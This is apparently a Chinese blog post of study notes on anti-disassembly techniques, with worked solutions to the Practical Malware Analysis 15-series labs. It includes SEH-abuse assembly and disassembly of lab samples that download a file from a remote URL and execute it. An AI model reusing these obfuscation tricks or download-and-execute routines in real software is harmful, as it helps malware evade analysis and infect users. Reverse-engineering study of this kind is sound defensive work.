Fork me on GitHub

防反汇编技术


知识点

所谓对抗反汇编技术,就是在程序中使用一些特殊构造的代码或数据,让反汇编分析工具产生不正确的程序代码列表。这种技术由恶意代码编写者手工构造,在恶意代码编译和部署阶段使用一个单独的混淆工具,或是直接在源码中插入混淆代码。除了延缓或者防止人工分析以外,防反汇编技术也能在一定程度上阻碍特定的自动化分析技术。

线性反汇编:线性反汇编策略是遍历一个代码段,一次一条指令地线性反汇编,线性反汇编用已经反汇编地指令大小来决定下一个要反汇编的字节,而不考虑代码流的控制指令。

面向代码流的反汇编:面向代码流的反汇编算法是一种更先进的反汇编宣发,这种算法会根据后续代码的逻辑来选择汇编的字节流,因此结果一般情况下会更加准确。

相同目标的跳转指令:恶意代码中最常见的防反汇编技术是使用指向同一目标地址的两个连续条件跳转指令。例如jz loc_512之后是 jnz loc_512则这个指令就相当于无条件跳转指令jmp,另外程序可能会在代码中插入与指令相同额数据如用E8来冒充call指令,实际上使用的是E8后面的字节,E8并没有发挥作用。遇到这种情况可以使用快捷键D使代码变成数据。

使用固定的跳转指令:程序会使用xor eax, eax开头,再跟上条件跳转指令,使反汇编器一位这是一个条件跳转指令实际上是一个固定的跳转指令。

无效的反汇编指令:程序通过插入单字节的流氓无效指令来干扰反汇编器的正常分析进程。

函数指针问题:再程序中刻意使用函数指针可以大大降低反汇编器自动推导出的程序的信息量,如果带汇编语言中刻意使用函数指针或者在源码中构造不标准的函数指针格式,会导致在没有动态分析的前提下很难进行逆向工程。如将某一个函数的偏移地址存入eax,再通过call eax的形式来调用函数。

通过添加代码交叉引用来修复函数指针混淆:可以使用IDC脚本来修复混淆的函数调用,例如下列代码是来指明函数4011DE交叉引用来源的位置,交叉引用指向的位置,以及流的类型(call指令类型fl_CF,或是跳转指令类型fl_JF

1
AddCodeXref(0x4011DE,0x4011AB,fl_CF)

retn通常被用来返回一个函数调用滥用返回指针:再程序中call指令和jmp指令并不是唯一控制转换控制流的指令。与call指令对应的是retncall指令与jmp指令的差别是call会将函数的返回地址压入栈中,返回点是一个紧跟call指令的一个内存地址。call指令相当于jmp指令加push指令,retn指令相当于jmp指令加pop指令,retn指令首先从栈顶弹出一个返回值,然后跳转到返回地址,retn指令通常被用来返沪一个函数调用,但是由于体系结构的限制,他一般不能用于控制执行流。

滥用结构化异常处理:结构化异常处理(SEH)提供一种控制流的方法,该方法不能被反汇编器采用,但可以用来欺骗反汇编器,SEH旨在位程序提供一种智能处理错误条件的方法没编程语言例如C++严重依赖异常处理。异常触发可能有多种原因,例如访问一个无效的内存区域、除零等。可以调用函数RaiseException函数产生额外的软件异常,SEH是一个函数列表,设计他的目的是处理线程中的异常,列表中的每个函数,要么处理异常,要么将异常传递给下一个异常处理函数,如果一个异常总是被传递到最后一个异常处理函数中,就会被认为这是一个不能处理的异常,这种情况下,最后一个异常处理函数会弹出一个熟悉的消息对话框,通知用户产生了一个无法处理的异常,为了查找SEH链,操作系统会检查FS段寄存器。这个寄存器包含一个段选择子可以得到线程环境块(TEB)。TEB的第一个数据结构是线程信息块TIBTIB中的第一个元素及TIB的第一个字节就是SEH链的指针,SEH链是一个简单的8字节数据结构链表,这八个字节数据结构叫做EXCEPETION_REGISTRATION记录:

1
2
3
4
struct _EXCEPTION_REGISTRATION{
DWORD prev; //指向前一个记录的指针
DWORD handler; //指向异常处理的指针
}

从概念上讲,这个链表以栈的方式进行操作,第一个调用的是最后一个加入链表的记录,由于子进程的调用与嵌套异常处理块的原因,SEH链的增长和缩小等同于程序中异常处理层的改变,所以SEH记录总是在栈上。

为了实现向SEH中添加函数,需要在栈上构造一条新的记录,因为记录结构由两个DWORD变量组成,所以使用两个push指令来完成,栈的增长方向是从下向上,所以第一个push进栈的是异常处理函数指针,第二个是下一条记录的指针,当添加一条记录到链表头部时,下一条记录需要完成异常处理的是当前的栈顶,它由fs:[0]指针指出:

1
2
3
push ExceptionHandler
push fs:[0]
mov fs:[0],esp

异常发生时,首先将调用函数ExceptionHandler,这个动作会受到微软的DEP保护的限制 ,对于DEP他的目的是阻止应用程序在运行的过程中添加第三方的异常处理,可以使用支持SafeSEH指令的汇编器,另外,使用微软的C编译器也能到达此目的,添加/SAFESEH:NO到链接器命令行就可以使这种限制失效。

当调用ExceptionHandler函数时,栈将大幅改变。我们需要知道怎么返回异常发生前的栈位置,当异常处理被调用时,操作系统添加了其他的SEH处理,为了让程序恢复正常操作,我们需要将异常处理从异常处理链中断开,还要将系如添加的异常处理从异常处理链中断开,因此我们需要从esp+8而不是esp中取出原始的栈指针:

1
2
3
4
5
6
mov esp, [esp+8]
mov eax, fs:[0]
mov eax, [eax]
mov eax, [eax]
mov fs:[0], eax
add esp, 8

挫败栈帧分析:先进的反汇编器能够通过分析一个函数中指令推导出函数栈的结构,这使得反汇编器能够显示局部变量及函数相关的参数。这些信息对恶意代码分析人员非常有价值,它使得分析人员一次分析一个函数,并且可以更好的理解函数的输入输出及结构,然而通过一个函数来确定它的栈帧结构并不十分科学,与反汇编的很多其他因素一样,用来决定栈帧结构的算法必须做出某些假设与合理猜想,但是这很容易被有经验的恶意代码编写者利用。挫败栈帧分析也可以阻止特定的技术分析操作,其中最明显的时IDA反编译插件,他可以产生一个函数的类C语言伪代码。

课后练习

Lab15-1

分析样本Lab15-01.exe它是一个命令行程序,它接收一个参数,如果这个参数与一个秘密代码相匹配,程序会输出”Good Job!”。

问题

1.这个二进制程序中使用了哪种防反汇编技术?

此程序使用了永假条件分支技术例如如下代码:

1
2
3
4
5
.text:0040100C                 xor     eax, eax
.text:0040100E jz short near ptr loc_401010+1
.text:00401010
.text:00401010 loc_401010: ; CODE XREF: _main+E↑j
.text:00401010 call near ptr 8B4C55A0h

由于在0040100C 处清空了eax,所以下面的jz指令必定会执行,但是指向的位置却又错误,将00401010处代码属性修改为数据然后跳过一个字节使用C将后续的数据重新修改为代码可以得到修改之后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0040100C                 xor     eax, eax
.text:0040100E jz short loc_401011
.text:0040100E ; ---------------------------------------------------------------------------
.text:00401010 db 0E8h
.text:00401011 ; ---------------------------------------------------------------------------
.text:00401011
.text:00401011 loc_401011: ; CODE XREF: _main+E↑j
.text:00401011 mov eax, [ebp+arg_4]
.text:00401014 mov ecx, [eax+4]
.text:00401017 movsx edx, byte ptr [ecx]
.text:0040101A cmp edx, 70h
.text:0040101D jnz short loc_40105E
.text:0040101F xor eax, eax
.text:00401021 jz short loc_401024

2.这个二进制程序中使用了什么流氓机器码来欺骗反汇编过程?

可见0E8h是用于干扰IDA分析的无用数据。

3.这个反汇编技术被用了多少次?

5

4.什么命令行参数会让程序输出”Good Job!”?

修改完成后将修改的部分选中按P键使IDA将区间内代码识别为一个函数就能得出函数逻辑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax

if ( argc != 2 || *argv[1] != 112 || argv[1][2] != 113 || argv[1][1] != 100 )
{
printf(aSonIAmDisappoi);
result = 0;
}
else
{
printf(Format);
result = 0;
}
return result;
}

所以应该输入pdq

Lab15-2

分析恶意代码文件Lab15-02.exe。要回答下列问题,请在分析二进制文件前,修正所有的反汇编技术。

跟上一题类似,看到由错误的引用就先修正为数据然后在恰当的位置起始修改为代码,完成之后p一下修复成函数。

问题

1.程序初始化请求的URL是什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
.text:0040138F                 db  68h ; h
.text:00401393 db 74h ; t
.text:00401397 db 74h ; t
.text:0040139B db 70h ; p
.text:0040139F db 3Ah ; :
.text:004013A3 db 2Fh ; /
.text:004013A7 db 2Fh ; /
.text:004013AB db 77h ; w
.text:004013AF db 77h ; w
.text:004013B3 db 77h ; w
.text:004013B7 db 2Eh ; .
.text:004013BB db 70h ; p
.text:004013BF db 72h ; r
.text:004013C3 db 61h ; a
.text:004013C7 db 63h ; c
.text:004013CB db 74h ; t
.text:004013CF db 69h ; i
.text:004013D3 db 63h ; c
.text:004013D7 db 61h ; a
.text:004013DB db 6Ch ; l
.text:004013DF db 6Dh ; m
.text:004013E3 db 61h ; a
.text:004013E7 db 6Ch ; l
.text:004013EB db 77h ; w
.text:004013EF db 61h ; a
.text:004013F3 db 72h ; r
.text:004013F7 db 65h ; e
.text:004013FB db 61h ; a
.text:004013FF db 6Eh ; n
.text:00401403 db 61h ; a
.text:00401407 db 6Ch ; l
.text:0040140B db 79h ; y
.text:0040140F db 73h ; s
.text:00401413 db 69h ; i
.text:00401417 db 73h ; s
.text:0040141B db 2Eh ; .
.text:0040141F db 63h ; c
.text:00401423 db 6Fh ; o
.text:00401427 db 6Dh ; m
.text:0040142B db 2Fh ; /
.text:0040142F db 62h ; b
.text:00401433 db 61h ; a
.text:00401437 db 6Dh ; m
.text:0040143B db 62h ; b
.text:0040143F db 6Fh ; o
.text:00401443 db 6Fh ; o
.text:00401447 db 2Eh ; .
.text:0040144B db 68h ; h
.text:0040144F db 74h ; t
.text:00401453 db 6Dh ; m
.text:00401457 db 6Ch ; l

2.User-Agent域时如何产生的?

伪C代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for ( i = 0; i < 0x100 && name[i]; ++i )
{
switch ( name[i] )
{
case 90:
name[i] = 'A';
break;
case 122:
name[i] = 'a';
break;
case 57:
name[i] = '0';
break;
default:
++name[i];
break;
}
}

3.初始化请求时,程序在内存页中查找什么?

程序会在缓冲区中寻找字符串Bamboo::的位置并提取Bamboo::字符串之后的内容

4.程序如何处理它从页中提取的信息?

程序会调用函数sub_40130F :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.text:0040130F                 push    ebp
.text:00401310 mov ebp, esp
.text:00401312 sub esp, 18h
.text:00401315 mov [ebp+Src], 'A'
.text:00401319 mov [ebp+var_17], 'c'
.text:0040131D mov [ebp+var_16], 'c'
.text:00401321 mov [ebp+var_15], 'o'
.text:00401325 mov [ebp+var_14], 'u'
.text:00401329 mov [ebp+var_13], 'n'
.text:0040132D mov [ebp+var_12], 't'
.text:00401331 mov [ebp+var_11], ' '
.text:00401335 mov [ebp+var_10], 'S'
.text:00401339 mov [ebp+var_F], 'u'
.text:0040133D mov [ebp+var_E], 'm'
.text:00401341 mov [ebp+var_D], 'm'
.text:00401345 mov [ebp+var_C], 'a'
.text:00401349 mov [ebp+var_B], 'r'
.text:0040134D mov [ebp+var_A], 'y'
.text:00401351 mov [ebp+var_9], '.'
.text:00401355 mov [ebp+var_8], 'x'
.text:00401359 mov [ebp+var_7], 'l'
.text:0040135D mov [ebp+var_6], 's'
.text:00401361 mov [ebp+var_5], '.'
.text:00401365 mov [ebp+var_4], 'e'
.text:00401369 mov [ebp+var_3], 'x'
.text:0040136D mov [ebp+var_2], 'e'
.text:00401371 mov [ebp+var_1], 0
.text:00401375 lea eax, [ebp+Src]
.text:00401378 push eax ; Src
.text:00401379 call ds:_strdup
.text:0040137F add esp, 4
.text:00401382 mov esp, ebp
.text:00401384 pop ebp
.text:00401385 retn

将读取的数据流写入文件Account Summary.xls.exe,调用ShellExecuteA执行文件:

1
2
3
4
5
6
7
8
.text:004012EF                 push    0Ah             ; nShowCmd
.text:004012F1 push 0 ; lpDirectory
.text:004012F3 push 0 ; lpParameters
.text:004012F5 mov eax, [ebp+Filename]
.text:004012FB push eax ; lpFile
.text:004012FC push 0 ; lpOperation
.text:004012FE push 0 ; hwnd
.text:00401300 call ds:ShellExecuteA

Lab15-3

分析恶意代码文件Lab15-03.exe。乍一看这个二进制程序似乎是一个合法工具,但实际上他的功能远远超过它所告知的功能。

问题

1.恶意代码怎样被初始化调用?

翻了一下发现了一段比较奇怪的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
.text:004014C0 loc_4014C0:                             ; DATA XREF: .text:loc_401497↑o
.text:004014C0 mov esp, [esp+8]
.text:004014C4 mov eax, large fs:0
.text:004014CA mov eax, [eax]
.text:004014CC mov eax, [eax]
.text:004014CE mov large fs:0, eax
.text:004014D4 add esp, 8
.text:004014D4 ; ---------------------------------------------------------------------------
.text:004014D7 db 0EBh
.text:004014D8 ; ---------------------------------------------------------------------------
.text:004014D8 inc eax
.text:004014DA dec eax
.text:004014DB call $+5
.text:004014E0 push ebp
.text:004014E1 mov ebp, esp
.text:004014E3 push ebx
.text:004014E4 push esi
.text:004014E5 push edi
.text:004014E6 push offset unk_403010
.text:004014EB call sub_401534
.text:004014F0 add esp, 4
.text:004014F3 push offset unk_403040
.text:004014F8 call sub_401534
.text:004014FD add esp, 4
.text:00401500 push 0
.text:00401502 push 0
.text:00401504 push offset unk_403040
.text:00401509 push offset unk_403010
.text:0040150E push 0
.text:00401510 call URLDownloadToFileA
.text:00401515 jz short loc_40151A
.text:00401517 jnz short loc_40151A
.text:00401517 ; ---------------------------------------------------------------------------
.text:00401519 db 0E8h
.text:0040151A ; ---------------------------------------------------------------------------
.text:0040151A
.text:0040151A loc_40151A: ; CODE XREF: .text:00401515↑j
.text:0040151A ; .text:00401517↑j
.text:0040151A push 0
.text:0040151C push offset unk_403040
.text:00401521 call ds:WinExec
.text:00401527 push 0
.text:00401529 call ds:ExitProcess
.text:0040152F ; ---------------------------------------------------------------------------
.text:0040152F pop edi
.text:00401530 pop esi
.text:00401531 pop ebx
.text:00401532 pop ebp

两段偏移分别如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
.data:00403010 unk_403010      db  97h                 ; DATA XREF: .text:004014E6↑o
.data:00403010 ; .text:00401509↑o
.data:00403011 db 8Bh
.data:00403012 db 8Bh
.data:00403013 db 8Fh
.data:00403014 db 0C5h
.data:00403015 db 0D0h
.data:00403016 db 0D0h
.data:00403017 db 88h
.data:00403018 db 88h
.data:00403019 db 88h
.data:0040301A db 0D1h
.data:0040301B db 8Fh
.data:0040301C db 8Dh
.data:0040301D db 9Eh
.data:0040301E db 9Ch
.data:0040301F db 8Bh
.data:00403020 db 96h
.data:00403021 db 9Ch
.data:00403022 db 9Eh
.data:00403023 db 93h
.data:00403024 db 92h
.data:00403025 db 9Eh
.data:00403026 db 93h
.data:00403027 db 88h
.data:00403028 db 9Eh
.data:00403029 db 8Dh
.data:0040302A db 9Ah
.data:0040302B db 9Eh
.data:0040302C db 91h
.data:0040302D db 9Eh
.data:0040302E db 93h
.data:0040302F db 86h
.data:00403030 db 8Ch
.data:00403031 db 96h
.data:00403032 db 8Ch
.data:00403033 db 0D1h
.data:00403034 db 9Ch
.data:00403035 db 90h
.data:00403036 db 92h
.data:00403037 db 0D0h
.data:00403038 db 8Bh
.data:00403039 db 8Bh
.data:0040303A db 0D1h
.data:0040303B db 97h
.data:0040303C db 8Bh
.data:0040303D db 92h
.data:0040303E db 93h
.data:0040303F db 0FFh
.data:00403040 unk_403040 db 0 ; DATA XREF: .text:004014F3↑o
.data:00403040 ; .text:00401504↑o ...
.data:00403041 db 8Ch
.data:00403042 db 8Fh
.data:00403043 db 90h
.data:00403044 db 90h
.data:00403045 db 93h
.data:00403046 db 8Ch
.data:00403047 db 8Dh
.data:00403048 db 89h
.data:00403049 db 0D1h
.data:0040304A db 9Ah
.data:0040304B db 87h
.data:0040304C db 9Ah
.data:0040304D db 0FFh
.data:0040304E db 0

猜测使对这两段数据进行了解密,于是放到x32dbg中下断看一下:

触发条件是除零异常,可见代码实现了自己的异常处理函数:

1
2
3
4
.text:0040149C                 push    large dword ptr fs:0
.text:004014A3 mov large fs:0, esp
.text:004014AA xor ecx, ecx
.text:004014AC div ecx

2.恶意代码都做了什么?

下载了一个文件并启动它。

3.恶意代码使用了什么URL?

1
004014E6 | 68 10304000              | push lab15-03.403010                    | 403010:"http://www.practicalmalwareanalysis.com/tt.html"

http://www.practicalmalwareanalysis.com/tt.html

4.恶意代码使用了什么文件名?

由于网页已经不可访问,所以调试的时候应该修改一下代码,最后得出的文件名如下:

1
00403040  FF 73 70 6F 6F 6C 73 72 76 2E 65 78 65 00 00 00  ÿspoolsrv.exe...

spoolsrv.exe


本章结束🎊

您的支持是我最大的动力🍉